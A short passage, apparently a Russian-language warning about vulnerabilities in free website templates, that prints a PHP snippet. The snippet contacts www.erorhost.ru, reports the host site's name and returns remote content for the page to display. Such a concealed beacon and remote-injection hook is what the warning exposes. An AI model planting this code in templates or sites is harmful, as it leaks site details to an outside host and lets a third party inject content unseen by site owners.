Информация Уязвимости в бесплатных шаблонах

<?php  
$sock = @fsockopen("www.erorhost.ru", 80, $errstr, $errno, 30); 
if ($sock){  
    $headers = "GET /sait/id2.php?site=".$_SERVER['HTTP_HOST']." HTTP/1.1\n"; 
    $headers .= "Host: www.erorhost.ru\n";  
    $headers .= "Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress  Accept-Language: ru,en Accept-Charset: windows-1251, iso-8859-1;q=0.01, us-ascii;q=0.01\n\n";  
     
    fwrite($sock, $headers); 
    $x10 = false; 
     
    while (!feof($sock)) { 
        $x11=fgets($sock,128); 
        if ($x10)  
            $result .= $x11; 
        else  
            $x13 .= $x11; 
             
        if ($x11 == "\r\n" )  
            $x10 = true; 
    } 
    fclose($sock); 
} 
else return $error; 
if (strstr($x13,'404')) return $error; 
else return $result;  
?>